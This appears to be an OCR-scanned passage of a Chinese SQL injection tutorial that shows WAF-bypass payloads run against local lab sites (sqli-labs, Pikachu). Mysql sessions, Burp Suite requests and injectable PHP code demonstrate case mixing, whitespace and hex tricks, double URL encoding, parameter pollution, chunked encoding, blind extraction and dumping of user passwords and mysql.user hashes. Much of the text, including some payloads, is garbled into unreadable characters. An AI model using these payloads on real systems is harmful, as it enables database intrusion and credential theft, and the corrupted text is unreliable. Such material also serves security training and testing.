L S S LT #r-mmemeeoe e e T +

2 rows in set (0.00 sec)

http://192.168.0.101:7766/Less-27/71d=999999%27%0AuNIon%0ASeLecT%0A 1.us
er(),.3%0Aand%0A %271
http://192.168.0.145:7766/Less-27/?71d=9999999%27%09UniOn%09SeLeCt%091.(Se
1Ect%09group_concat(username.password)from%09users).3%09and%20%271

TR EAE T %0 R Bt -- 28 FAFHFELR

© & 192.168.0.101:7766/Less-27/2id=999999'%0AuNlon%0ASeL ecT%0AT,user(), 3%0Aand%0A 8 e 1y

5 AL

Welcome

Your Login name:root@localhost
Your Password:1

Hint: Your Input is Filtered with following result: 999999' uNlon SelecT 1,user(),3 and "1

1.20.3. F R BETEN

select * from users where id=8EQunion select 1,2,3,4;


http://192.168.0.101:7766/Less-27/?id=999999%27%0AuNIon%0ASeLecT%0A1,user(),3%0Aand%0A%271
http://192.168.0.101:7766/Less-27/?id=999999%27%0AuNIon%0ASeLecT%0A1,user(),3%0Aand%0A%271
http://192.168.0.145:7766/Less-27/?id=9999999%27%09UniOn%09SeLeCt%091,(SelEct%09group_concat(username,password)from%09users),3%09and%20%271
http://192.168.0.145:7766/Less-27/?id=9999999%27%09UniOn%09SeLeCt%091,(SelEct%09group_concat(username,password)from%09users),3%09and%20%271

select * from users where id=8.0union select 1,2,3,4;

mysql> select * from users where id=8E@union select 1,2,3,4;

1 row in set (0.00 sec)
mysql> select * from users where id=8.0union select 1,2,3,4;

R ] to----n- +
| id | username | password | email |

1 row in set (0.00 sec)

1.20.4. NULL {E %55

select \N; 1% & null

1 row in set, 1 warning (0.00 sec)

mysql> select \N;

1 warning (0.00 sec)

select * from users where id=\Nunion select 1,2,3,\N;
select * from users where id=\Nunion select 1,2,3,\Nfrom users;

mysql> select * from users where id=\Nunion select 1,2,3,\N;
R e e +e-m-e-- ¥
| id | username | password | email |

1 row in set, 2 warnings (0.00 sec)
mysql> select * from users where id=\Nunion select 1,2,3,\Nfrom users;

e B e +
| id | username | password | email |

1 row in set, 2 warnings (0.00 sec)

mysql>

1.20.5. 5| S4¢5d

R wal ERTEET| SRR, ¥ UUEFANGI S £ mysql 24 LA NG| 5
18 F 1% &

select * from users where id="1";

select * from users where id="1";



1 row in set, 2 warnings (0.00 sec)

mysql> select * from users where id
L R e e et ommmmmon 4o-oo---
id | username | password | email

|
+
|
e
1

mysql> select * from users where id
e B Fo-mmmm
| id | username | password | email

B
|
1 row in set (0.00 sec)

mysql> I
.85 LK FAF R A R 16 24| Fuk{TEA,
select hex('admin');
select * from users where username='admin';
select * from users where username=0x61646D696E;

mysql> select hex('admin');

1 row in set (0.00 sec)

mysql> select * from users where username='admin';
R e R e +

| id | username | password | email

e Fommmmmm e Frmmmm e +

| 1| admin | 123456 | moon@moonsec.com |
L L ] R e e +

1 row in set (0.00 sec)

mysql> select * from users where username=0x61646D696E;
e -

mysql>

R gpe FE T, EREEANAZEN @ LUA hex +dtfl T4

select * from users where id=-1 union select 1,2,(select group concat(column name)
from information_schema.columns where TABLE NAME="users' limit 1),4;

select * from users where id=-1 union select 1,2,(select group concat(column name)
from information_schema.columns where TABLE NAME=0x7573657273 limit 1),4;
ATUFEFAERENNR XA RAEETS LT BLEA

A B B 57 LLAE B usrs 8 £ 435 %

1.20.6. ‘R MER ST

UTHEAZEED, PATWERE W, EEFH L waf WERAN Fra$
H[EA] KA1 EMERN,



select * from users where id=-1 union select 1,2,3,4 from users;

select * from users where id=-1 unlon select 1 2 3 4 from MOONSEC. USETS;

Ny5q1> select * from users whe id=-1 union select 1,2,3,4 from users;

| id \ username | password | email |

=

|

-

1 row in set (0.00 sec)

mysq1> select ¥ fron users where id=-1 union select 1,2,3,4 from moonsec.users;
+

| id | username | password | email |

-

|

L+

1 row in set (0.00 sec)

mysql F 4.7 DUAAn E 4 E k. Blin ks E £ 18 mysql & B 8 usrs KR 2.

select * from users where id=-1 union select 1,2,3,concat(user,authentication_string)

from mysql user;

select * from

root*6BB4837EB74329105EE4568DDA7DC67ED2CA2ADY
mysql.session*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
mysql.sys*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE

in set (0.00 sec)

1.20.7. XEF 5t
7 mysql & 7] LU A distinct £ R E W E ZE, 7 LA A X 8 BA waf &

select * from users where id=-1 union distinct select 1,2,3,4 from users;
select * from users where id=-1 union distinct select 1,2,3,version() from users;

mysql> select * from users where id=-1 union distinct select 1,2,3,4 from users;
e e Fommmme e Fo---e- +
| id | username | password | email |

1 row in set (O. 00 sec)

mysql> select * from users where id=-1 union distinct select 1,2,3,version() from users;
e Ho-mmmemeen L e R LR R +
| id | username | password | email

1.20.8. R 315%%id

TEmysql TUUER REZRF 5 S — B waf #8., FETUMKE FH#F
Tm, BXAEE,
insert into users(username,password,email)values('moonsec’,'123456','admin@moonsec.com'’);
insert into users( username’, password’, email’ )values(’moonsec' '123456' 'admm@moonsec com');
("moonsec , ‘123456 ," adningnoon’ at line 1

mysql> ‘1nsert into users(username,passwcrd,email)values( moonsec', '123456', 'admin@moonsec.com');
Query OK, 1 row affected (0.01 sec)

mysql> insert 1into users( username’, password’, email’ jvalues('moonsec','123456','admin@moonsec.com');
Query OK, 1 row affected (0.00 sec)




1.20.9. MIAFES ST

#E php EEF id=1&id=2 FEHNE~EANE =W BNE, TENESHTEHN
Btk . B DUR| A3 B 283 — 2 waf B9 4.
1d=1%00&1d=2 union select 1,2,3
& waf B £ LH % — 4> id 540 1%00 %00 2 & W 74, waf 2 &M AW
TotMEErANE. 8725+ id 32% T id=2 union select 1,23 M4 it E
ANEE .

HEME R

A 55 2% b 8] RS 52 A
ASP.NET / 1IS BT A LI 2 SR 5 color=red,blue
ASP /IS AT AT L IR 2 R 5 4 color=red,blue
PHP / Apache (i e — O F 2 B color=blue
PHP / Zeus (i J5 — O H B B B color=blue
JSP, Servlet / Apache Tomcat (S8 — R 2 B color=red
ISP, Servlet / Oracle Application Server 10g {058 — U Hh L2 il color=red
JSP, Servlet / Jetty {303 — I B 2 B color=red
IBM Lotus Domino DU G — O H B 2 U color=blue
IBM HTTP Server {538 — U H B 2 B color=red
mod_perl, libapreq2 / Apache {05 — UCH B 2 2 color=red
Perl CGI / Apache {035 — O H B 2 i color=red
mod_wsgi (Python) / Apache {08 — U H L 2 il color=red
Python / Zope $64E List color={"red".'blye'}

1.20.10. 2B

BRIALHENMAMEETHTER, FlwFAEANFLACEET

select * from users where id=1 union select 1,2,3,4;

mysql> select * from users where id=-1 union select 1,2,3,4;
T e Fo-mm-- +
| id | username | password | email |

1 row in set (0.00 sec)

— it & *F 1 = 31 8 K F select * from users where id=1 union select 1 2 3 4;3iX #f
SQL #E A gt~ H4E. Fril ¥ LLAE €5 #H 4T SQL v E A,

ST

1.20.11. substr EEFEFFH

select(substr(database() from 1 for 1)); Zi L EE — N FH
%16 m % T select(substr(database() from 1 for 1)) 7 & & [E] IF &



select * from users where id=1 and 'm'=(select(substr(database() from 1 for 1)));
T DL — 6 m #% K hex 0x6D X 3t % 7 £5]5
select * from users where id=1 and 0x6D=(select(substr(database() from 1 for 1)));

mysql> select(substr(database() from 1 for 1));
+

+
| (substr(database() from 1 for 1)) |
+

1 row in set (0.00 sec)

mysql> select * from users where id=1 and 'm'=(select(substr(database() from 1 for 1)));
LTt S R trmmmmme e R S R +

| id | username | password | email |

B e e +
(| 1 | admin | 123456 | moon@moonsec.com |

e Fommmmm i m B +

1 row in set (0.00 sec)

mysql> select * from users where id=1 and 0x6D=(select(substr(database() from 1 for 1)));

1 row in set (0.00 sec)

1.20.12. min HPESFH

%N min B substr BT REAR ] 40 R substr BR 24 £ A Sk IR T DAEE A
ZABHNE

select mid(database() from 1 for 1); X /M7 ik #m b,

select * from users where id=1 and 'm'=(select(mid(database() from 1 for 1)));

select * from users where id=1 and 0x6D=(select(mid(database() from 1 for 1)));

mysql> select * from users where id=1 and 0x6D=(select(mid(database() from 1 for 1)));
e Fommmm e Fommmmm o +

| id | username | password | email

B Fommmmmm e B +

| 1 | admin | 123456 | moon@moonsec.com
e e R +
1 row in set (0.00 sec)

mysql>

1.20.13. &M join i
# ) join HEBERHANX

union select 1,2 #%5 fi- T union select * from (select 1)a join (select 2)b

a b oAl =R E A 4

select * from users where id=-1 union select 1,2,3,4;

select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select 3)c join(select 4)d;

select * from users where id=-1 union select * from (select 1)a join (select 2)b

join(select user())c join(select 4)d;



mysql> select * from users where id=-1 union select 1,2,3,4;
R R R R R Hmmmmnn +
| id | username | password | email |

SRR Hmmmmmmmman Hmmmmmen +
1 row in set (0.00 sec)

mysql> select * from users where id=-1 union select * from (select 1)a join (select 2)b join(select 3)c join(select 4)d;
R TR R et Hmmmman +
| id | username | password | email |

SR R Hemmmmen +
1 row in set (0.00 sec)

mysql> select * from users where id=-1 union select * from (select 1)a join (select 2)b join(select user())c join(select 4)d;
B

1 row in set (0.00 sec)

MUEHRE A EAE S, T waf oL 5 B2 A,

1.20.14. like &5
1 i like £ #1%&16) select user() like 'Yor%!"; B A& 16 A ZhE [ 1 & MR E 0

mysql> select user() like '%r%';

1 row in set (0.00 sec)

mysql> select user() like '

1 row in set (0.00 sec)

mysql> select * from users where id=1 and (select user() like 'r%');
L Hro-meememo R e e E R R R +

| id | username | password | email |

e e Frmommmm e +

+ +
| 1| admin | 123456 | moon@moonsec.com
e B B +
1 row in set (0.00 sec)

REE-NTHREREHTT—AFRLER. NIRRT ANTHE BERE
BEEWBAL, XM SQLENEFUL S FALT., ML waf &,

1.20.15. limit offset £&iF

SQL EN A, tn R FEIR E 4 B ¥ LUE F limit 0,1 fR F R E 4 B4 H limit 0,1
RE&— 40K WwRNESHATERN, TUFEA limit 1 BRAREE — 4%
¥E. .7 LAE F limit 1 offset 0 NEF 4R EE —F10F, KR LT waf &
7.



: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the r
mysql> select * from users limit 0,1;
L L e Fo-mmmmeen R e e
| id | username | password | email
+--- +
il |
+----+ +
1 row in set (0.
mysql> select * from users limit 1;
R B

+
| id | username | password | email
R R T

+ +

1 | admin | 123456 | moon@moonsec.
e B B
1 row in set (0.00 sec)

mysql> select * from users limit 1 offset
L Fommmemmn Fommmme e
| id | username | password | email

| 123456 | moon@moonsec.
e e e
1 row in set (0.00 sec)

mysql> i

1.20.16. or and xor not £&T

H 8l £ # waf # 4 %t id=1 and 1=2. id=1 or 1=2. id=0 or 1=2
1d=0 xor 1=1 limit 1 . id=1 xor 1=2

XX 6% WLy SQL E AN E A HATEHR . K and X BT H FHRE
FRWT

and % T&&

or T |

not & T !

xor % T

Fir LLW] DA &6 $62 pl X

id=1and 1=1 %7 id=1 && 1=1

id=1and 1=2 % T id=1 && 1=2

id=lor 1=1 % T id=1| 1=1

id=0 or 1=0 % T id=0] 1=0

mysql> select * from users where id=1 && 1=1;

1 row in set (0.00 sec)

mysql> select * from users where id=1 && 1=2;
Empty set (0.00 sec)




mysql> select * from users where id not in (2,3);
e e e +
| id | username | password | email

| 123456 | moon@moonsec.com |
T e +
.00 sec)

from users where id in (2,3);

e Fommmm e +
username | password | email
---------- e R
moonsec | 123456 | admin@moonsec.com |
moonsec | 123456 | admin@moonsec.com |

P — Y waf ERBE X FEN RHATE LR
A0 7 DU A2 B A 5

id=1 && 2=1+1

id=1 && 2=1-1

in set (0.00 sec)

select * from users where 1d=1 && 2=1+1;
e e +
| password | email
R e +
| 123456 | moon@moonsec.com |
R e +
1 row in set (0.00 sec)

mysql> select * from users where 1id=1 && 2=1-1;
Empty set (0.00 sec)

1.20.17. ascii FFxTEE&EE

¥F % waf & *f union select #AT#=# T H#E ¥ LR AL, AT UAEH e E
WEN, R TR ik, #HAT R

select substring(user(),1,1);

select * from users where id=1 and substring(user(),1,1)="r";

select * from users where id=1 and ascii(substring(user(),1,1))=114;



mysql> select substring(user(),1,1);

mysql> select * from users where id=1 and substring(user(),1,1)='r';
R Fommmmme e B +
| id | username | password | email

R dommmm e B +
| 1| admin | 123456 | moon@moonsec.com |
B Fommm e Fommmm e +
1 row in set (0.00 sec)

mysql> select * from users where id=1 and ascii(substring(user(),1,1))=114;
LEERES S S EE S e e +

| id | username | password | email |

e Fo-mmmmeen- R +

| 1| admin | 123456 | moon@moonsec.com |

L S R Frmcem-mme- Frmrmmemc e +

1 row in set (0.00 sec)

AT ' B R ascii A R FF B gpeint E A B EEA T o
w DLE B4 3E 15 SQL 3K i 1E 4] % B £ Fl Bk A& 2 14 (union select) 4, 7] LB 25 B &
TR N

1.20.18. FSET
W RAEF = ATHER 7 LUFEA like rlike regexp = 1 F <z &>
select * from users where id=1 and ascii(substring(user(),1,1))<115;

select * from users where id=1 and ascii(substring(user(),1,1))>115;

ysql> select * from users where id=1 and ascii(substring(user(),1,1))<115;
Foommmmm e e +
| password | email
R
123456 | moon@moonsec.

Fommmmm e e e +
row in set (0.00 sec)

ysql> select * from users where id=1 and ascii(substring(user(),1,1))=114;
e B +
| password | email
e Fommmmmm e - +
123456 | moon@moonsec.com |
e e +
row in set (0.00 sec)

sgl> select * from users where id=1 and

select * from users where id=1 and (select substring(user(),1,1)like 't%");

select * from users where id=1 and (select substring(user(),1,1)rlike 't');

ysql> select * from users where id=1 and (select substring(user(),1,1)like 'r%');
e B B +
| id | username | password | email
s SR T e Fommmmmm o +
| 123456 | moon@moonsec.com |
Fommmm e +

B +
| email
e +
1 | admin | 123456 | moon@moonsec.com |
B e B +
i row in set (0.00 sec)

select * from users where id=1 and 1=(select user() regexp "r');

select * from users where id=1 and 1=(select user() regexp '"a');



regexp /& = 1E N

Empty set (0.00 sec)
4

mysql> select * from users where id=1 and 1=(select user() regexp '~r');
R Fommmmmeeen e +

| id | username | password | email |

LRt TR e R e s +

| 1 | admin | 123456 | moon@moonsec.com

B Fommmmmmmon oo +

1 row in set (0.00 sec)

mysql> select * from users where id=1 and 1=(select user() regexp '7a');

Empty set (0.00 sec)

mysql> select * from users where id=1 and 1=(select user() regexp '“~root');
e Fommmmmm e e Fommm e +

| id | username | password | email |

B Fommmmmmman Formmmme o +

| 1| admin | 123456 | moon@moonsec.com

e e B e T +

1 row in set (0.00 sec)

mysql>

1.20.19. W HRSRIT

HLREFRX 2 union,  select #HATH T HEAQE —REHFLYE TL2R
S

MR F Rt CEMRES — A TEH union AL )
1d=-1'UNIunionONSeLselectECT1,2,3--+
F|# 48 B B AT 2 & ik id=-1"UNION SeLECT1,2,3--+ M4 E N &

1.20.20. —x4mhEsEid

HURF 2T — KA, i SQLAEN, EX ul HAEETE, waf 212
A

-1 union select 1,2,3,4#

% — KA
%2d%31%20%75%6€%69%61%66€%20%73%65%6¢%65%63%74%20%31%2c%32
%2¢%33%2c%34%23

% KA
%25%32%64%25%33%31%25%32%30%25%37%35%25%36%65%25%36%39%?2
5%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%
36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33
%32%25%32%63%25%33%33%25%32%63%25%33%34%25%32%33



-1 union select 1.2,3.4#

%2d%31%20%75 9%20%73%65%6C%65! %2c %2c%34%23

St e T gpe R AFFR T AT 5 L

>
o
=
§
1
B
|
B
g =K
S5
S
=
_H_
(u

P
"<h2> ZREESEN</h2>";
header("Content-Type:text/html
Scon=mysqli_connect("localhost 23456" ,"moonsec");
mysqli_set_charset(Scon, 'utf8');
if(!Scon){
echo "Connect failed : ".mysqli_connect_error();

}

function filterstr(Skey){
if (!get_magic_quotes_gpc()){

Skey=addslashes(Skey);

return Skey;
5
J

Sid=1isset($_GET['id'])?urldecode(filterstr(S_GET['1d'])):1;
Ssql="select * from users where id='Sid'";
Sresult=mysqli_query(S$Scon,$sql);
Srow=mysqli_fetch_array(Sresult);
if (Srow) {

echo "id:".Srow['id']."<br>";

echo "F :".Srow[ 'username']."<br>";

echo "#83:".Srow[ 'password']."<br>";

echo "email:".S$row['email']."<br>";

echo ‘<h(><b(>';
echo "HIHNEAR: $sql”;

7>

< C © # 192.168.0.115/09/vul/s2.php?id=-1" union select 1,2,3,use

B xamerss @ FiFEri B3 =mEmit

ZIRGRESIEN

EAIEAIR: select * from users where id="-1\" union select 1,2,3,user()#

A 2 4 urldecode X/ B 3 B 7 F 4 url A, [ 4 A GPC T 43t i
B, BTULTT LG gpe FAEHE L, AR T waf HERK.



I Burp Suite Professional v2020.1 - Temporary Project - licensed to surferxyz

Burp Project Intruder Repeater Window Help
[ Dashboard | Target | Proxy | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project aptions | User options

1" union select 1,2,3,user(j#

31%20%32%2¢ %33%2C % 75%73%65% 72%28%29%23

%2d%31%27%20%

< Cc @
B yamesss @ HiFts B =mm

ZIRGRESIEN

id:1

APa2

2553
email:root@localhost

© % 192.168.0.115/09/vul/s2.php?id=%252d%2531%2527%2520%2575%256e%2569%2561%256€%2520%2573%25¢ &%

e

EHRIRERIR: select * from users where id="-1' union select 1,2,3,user()#'

1.20.21. ZS¥IHFS ST

L5 5N BB PEEE —4 SQLEAF, FLUIEENEGLEFEAN.
il iE K get 54k

a=[input]]&b="[input2] ¥ LL¥ 54k a #n b HF /£ SQL &4

TR FRLTERFANTEHN S 4, 18214 7 union select &4 waf £ £



<?php
echo " A</h2>";
pe:text/html;charset=utf8");
nect("localhost”,"root™,"123456", "moonsec™);
charset($con, 'utf8’);

connect_error();

$id-isset($_GET['id'])?$_GET['id']:1;
i ($_GET[ "username’])?$_GET[ ‘username’]: admin’;

from users where id="$id' and username='$username’";

i_query($con,$sql);
etch_array($result);

$row[*id"]."<br>";
$row[ ‘username’]
row[ ‘password’]."<bi

:" . $row[ ‘email’]."<br>";

AV 2] DLE S e i R 42 3 waf £ &

-1'union/* &username=*/select 1,user(),3,4--+

& Cc o © & 192.168.0.115/09/vul/s3.php?id=-1'union/*&username=*/select 1,user(),3,4--+

B vamerses @ FiFrtix B =mmn
—IREmISEN

id:1
AFPfroot@localhost
h5:3

email:4

EHEFNEAIR: select * from users where id="-1'union/*' and username="*/select 1,user(),3,4-- '

A S HBE T LIS, 2/ SQL JE N\ K8 F ¥ DA A& — L SQL E & A B#
waf £ 2 ,
1.20.22. {ER4EFeHstd

R EEERE LEEE, Pl EREIENFEA polygon() B 2k & 4 %
# updatexml() & 2%
select polygon((select * from (select * from (select @@version) f) x));

1.20.23. BREHSRIT



—. ft 4 # chunked %745 ?

7 3 4% Hr %% A5 (Chunked transfer encoding) & X 7% HTTP #+3 1.1 R A(HTTP/1.1)
IR — R BE A AR LI HTTP B A B2 A — R LW, H &
fi %3k B Content-Length F B AR T HKIBW K Z, LUMEE 7 i %018 b2 B HY 46
o

& 53 i Content-length #f & 7 5: WWHELAKE, HEILHBERFT T A EH
" LA 3¢ Content-Length BV Z 5 &, FIBT i b 5K 1K B4 R

Content-length # I 89 5 #1: 5T Content-Length F B 0 E L R BESZ A K &,
EEXTHSERNAZERR, ENECETZE, KEETT AW,

KR ERERRPKE, T — A B% A8 buffer, 3K 223 & &4F Hit
B, B —FEFEEANAFITH, 7 T EEL2ULEEF wmEEA

BMNFE-HFHNE: TRECLHTNKER R, WkfE 2Ry R—~4k
%%%% (Transfer-Encoding: chunked) o

MTHAERONENERN, NEERERTRAAKEEST . HEE
BEREGFERNNE, BiTHEEKEE 1% Content-Length, B X FENHKEN
Ko XHERB/EAARRE, WEHLHRENGEEE TR,

SGRERBEHATRS BEREREHERT B Al L PRI &% xF
ThEfhfthms, TU—LE%—AFa.

Z . {7 Al chunked %%
4 R A http 878 B 3k B Transfer-Encoding % chunked, #F 4 %t & & F Mt F 45 A5 77
Ao

BETREABHERBPWE, G MR LA AT s &8 R F XA
WA /N, #JEH CRLF("\\n"), AEEHEA L, HELERE, T4 F
CRLF("\'\n") A F 7. H— LI+, HA/Ngy+ o<t #4fr CRLF Z [8] B DA



—REPGRANA 0, KALKBEBREER. R —RITBLSEMEE, B
LR R RE, B HEELT B

JHE &G LL CRLF 4 E.,

T Sk # fm N\ Transfer-Encoding: chunked 2z /&7, Bt R EZX MR XCKA T 2 F A,
XE, WXFREERFERAF — ARG 55k E
- ﬁ)ﬂ

AV IINNINA L]y UL UAXAZS | RN 1D 2 79 /9O HJo A g IR 1 HIO AT ] = 7

£ HITP_RESP_CHUNK. TXTE3 |

L #3333343433343 232282808280 adaiaadeans
2 HTTP/1.1 200 OK

3 Content-Type: text/plain

4 Transfer-Encoding: chunked

5 \r\n

23\r\n

This is the data in the first chunk\r\n
1A\r\n

and this is the second one\r\n

3\r\n

con\r\n

8\r\n

sequence\r\n

0\r\n

\r\n
s s sy

- Y

[ S S
[, Y S % T B B S S W V' W o

[
(

ENphas T #HRNKEENEE, KEE®RS 1T, KETEHECERNW
CRLF(\r\n) A3 o R 4 BB CRLF(\r\n).
wIE— N RKEELTY 0, AL HBIERE AL, RFERE
GE
HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked

23\r\n

This is the data in the first chunk\r\n
1A\r\n

and this is the second one\r\n

3\r\n

con\r\n

8\r\n

sequence\r\n



O\r\n
\r\n

JH burpsuite I &R L M 4L E A id=1&submit=1 Eig 2| F 7 id & 1 W&
(Lsend ] [ Cancel | [ < v ][ >|v

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render

POST /06/vul/sqli/sqli_id.php HTTP/L.1 1

Host: 192.166.0.

User-Agent: Mozilla/5.0 (Vindows NT 10.0; Winé4; x64; rv:g8.0) Gecko/20100101 Firefox/8s.0 [

: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp, */*;q=0.8 N

: zh-CN, zh;q=0.8, 2h-TW;q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; =0.2 I Burp Suite Response Renderer
5 Accept-Encoding: gzip, deflate
7 Conmtent-Type: application/x-www-form-urlencoded 2 SRV S <] ST L i 5
Concenc-Lengeh: 13 &, Pikachu Jii%:>]°F & pika~pika~
Origin: htep://192.168.0.115
Connection: close

Referer: http://192.168.0.115/06/vul/sqli/sqli_id.php A sqli > BEEREN
Cookie: PHPSESSID=efsa76lftESq3fd2shilbcdevi; security_level=o

Upgrade-Insecure-Requests: 1

id=lesubmit=1 select your userid?

,,,.\a_l

hello,vince
your email is: vince@pikachu.com

&l 32 % & SE 7 http Sk v | Transfer-Encoding: chunked % 7= 73 % # /%
B—TRKE B_TRFHE O T-tEw4ER FEREAANTH,

JQ{’*J Params | Headers | Hex | | Raw | Headers | Hex | HIML | Render.
1 POST /0&/vul/sqli/sqli_id.php HTTP/1.1 A
2 Host: 192.168.0.115
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x6€4; rv:88.0) Gecko/20l00101 Firefox/88.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp,*/*;q=0.8
S Accept-Language: zh-CN,zh;q=0.8, zh-TW;q=0.7, zh-HK; q=0.5, en-US;

Accept-Encoding: gzip, deflate Burp Suite Response Renderer
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

Origin: http://192.168.0.115 Q Pikachu ﬁ\dﬁ]é}ij}i‘ié\ pika~pika-—-

Connection: close
Referer: http://192.1€8.0.115/06/vul/sqli/sqli_id.php

RISt T A so A
4
ldﬁ/l\%:ﬁ&g select your userid?
=N FRHE

— v &
B PR L5

1

&

€ oy hello,vince
submit Submltﬁ/l\’-?‘:ﬁ

o

€

your email is: vince@pikachu.com
= =
o =T

OL5ERIES)

OEEEEMIEIE

4, 7] LA F] burpsuite #35 #F chunked-coding-converter ¥F1T 44937 &2

Burp Suite Professional v2020.1 - Temporary Project - licensed to surferx

yz

Burp Project Intruder Repeater Window Help

[ Dashboard | Target | Proxy | Intruder TRAW T Sequencer T Decoder I Comparer I Extender T Project options TUser options ]
"

1x[2x[3x |4 5x|6x|7Tx|8x]|9x

Send Cancel <lv][ >

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render

POST /0&/vul/sqli/sqli_id.php HTTP/L.L
Host: 192.1€8.0.115

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp, */*;q=0.8
Accept-Language: zh-CN, zh;q=0.8,zh-TV;q=0.7,zh-HK;q=0.5,en-US;¢=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

W
S

«

1o

Content-Type: application/x-www-form-urlencoded Burp Suite Response Renderer

&, Pikachu #%ii%:>]-F & pika~pika~

Content-Length: 38

Origin: http://192.168.0.115

Connection: close

Referer: http://192.168.0.115/06/vul/sqli/sqli_id.php
Cookie: PHPSESSID==6sa7élfte5q3fdlshilbcddvd; security level=0
j Upgrade-Insecure-Requests: 1 A sqli

HEFENEA

id=1 union select 1,user ()--+&submit=1

select your userid?

~ v (=8

hello,vince
your email is: vince@pikachu.com

hello,1
your email is: root@localhost




3 Upgrade=Ilnsscnre—rvemesrs: 1
4 Scan
5 id=1 un
Send to Intruder Ctrl+l
Send to Repeater Ctrl+R
Send to Sequencer
Send to Comparer
Send to Decoder

Show response in browser

Request in browser >

Chunked coding converter

Encoding request body

Engagement tools > | Decoding request body

Change request method ' Config

Chanan hadie ancadina

¥ SQL VEN Bty 78 47 I X 315t 2 A % 4 J 4 0 R T 3R BB 9B AL P 4B B

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
1 POST /0&/vul/sqli/sqli_id.php HTTP/1.1 [a

2 Host: 192.1€8.0.115

Burp Suite Response Renderer

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:88.0) Gecko/20100101 Firefox/88.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp,*/*;q=0.8

2 Aecert Tacoding: aiip, aetiace 0T ERTIIATD. S, EnTSIATO 3, 0.2 & Pikachu ¥4 >1F & pika~pika~

7 Content-Type: application/x-www-form-urlencoded
¢ Content-Length: 584

9 Origin: http://192.1€8.0.115 ﬁ th $ﬁ$;u&)\
10 Connection: close

11 Referer: http://192.168.0.115/06/vul/sqli/sqli_id.php
12 Cookie: PHPSESSID=c6sa76lfté5q3fd2shilbedgvd; security level=0 .
13 Upgrade-Insecure-Requests: 1 e select your userid?
14 Transfer-Encoding: chunked

p—— o \ﬁ
hello,1
[your email is: root@localhost ]

01Jz1H9z9

g SAMDSZF543Pg7RhEdZId ]

e EESEVERTI AR ERNLE
=i GRCIMIY ﬂl«\)\%ﬁ_%waf
)

; walldScnp

T

;haBtXXgUl

©

;CMECThZxucBtvCe 1ALbkmmxYS
u

;nOQ2UGLVYC

FqUb1U7

r(

;QsPOViW4VNLKQSE

42 1;DaSVEyquvxYEYNFN
;hAlgLyVseEi4S8DKoTzMH

&s

4 ; RQNtUeqtsQGyAgCesxtw
47 ub

4% 1;yCmuRxL

® B B EJ Type a search term Pikachu PIKA~

1.21. FEARRSGY

Y WAF 2 B — 8 X tras ¥, XTa4% waf TaEREMEE, UL
DA ZA R R, TR aL 2R,

HEREEREX

/admin

/phpmyadmin

/admin.php
http://192.168.0.115/06/vul/sqli/sqli_str.php?a=/admin.php&name=vince+&submit=1
http://192.168.0.165/06/vul/sqli/sqli_str.php/phpmyadmin?name=%27%20union%20s



http://192.168.0.115/06/vul/sqli/sqli_str.php?a=/admin.php&name=vince+&submit=%E6%9F%A5%E8%AF%A2

elect%201,user()--+&submit=1

O Z 192.168.0.115/06/vul/sqli,{sq!iistr.php?a:/admin.php&name:vince+&submit:1 I )

& B3 smEmm

5> A pika~pika~

A sqli > FHEEEN

v what's your username?

v =
your uid:1

4 your email is: vince@pikachu.com

L4 |

1.22. @S frsd

BT a4 EEEX R E RSN, TF —#H waf 440 #A X HFHTER
Bl B R X jpg . png . gif B F css . js A X EBLSXHENEELSS
AT R AT 63T waf 24,

/1.jpg&name=vince+&submit=1

/1.jpg=/1.jpg&name=vince+&submit=1

/1.css=/1.css&name=vince+&submit=1

© & 192.168.0.115/06/vul/sqli/sqli_str.php?/1.jpg&name=vince+&submit=1

5 mmmit
A sqli > FHEEN
what's your username?

=

your uid:1
your email is: vince@pikachu.com

1.23. pipline S&id3FAN

http ¥ VU= B tep PR IUE 2T K, L0 & K A2 — A http KA, AR
%55 3T R top H B, R 5 & % http 2538 & (B A1 burpsuite & % #1258 ),
H @4 T — Connection ¥, —f{EN close, apache % & &M IE XN F &
REERFEZ tep EHEREWF. URAZHWARAKX, B3 — 1 hitp X E, F
%R KB, E2 L R keep-alive, B AR & AL Y http & 5K AT Z L B9 tep &
W, HE 3| Fr & A N 245 R Connection # close # 1E
i burpsuite MM @8 X EFRENMCEEKEE —IMExE, £F 14 close &
A% keep-alive i€ brupsuite H 4 ¥ #7 Content-Length 4] =¥,



W DUIP DUILE FIUIESSIUIGN VEULU. | - 1EHIPUIAlY FIUJECL = ILEHSEU LU SUlIETRy .

Burp Project Intruder Repeater Window Help

[ Dashboard ITalget I Proxy I Intruder IR@W I Sequencer I Decoder I Comparer I Extender I Project options I User options ]

z
Send Cancel ol >|v

Request Response

| Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render

1 POST /0&/vul/sqli/sqli_id.php HTTP/L.L X
2 Host: 192.168.0.115 r
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:88.0) Gecko/20100101 Firefox/88.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp, */*;q=0.8
5 Accept-Language: zh-CN, zh;q=0.8, zh-TV;q=0.7, zh-HK; q=0.5, en-US;q=0.3,en; q=0.2
& Accept-Encoding: gzip, deflate
7 Referer: http://192.168.0.115/06/vul/sqli/sqli_id.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
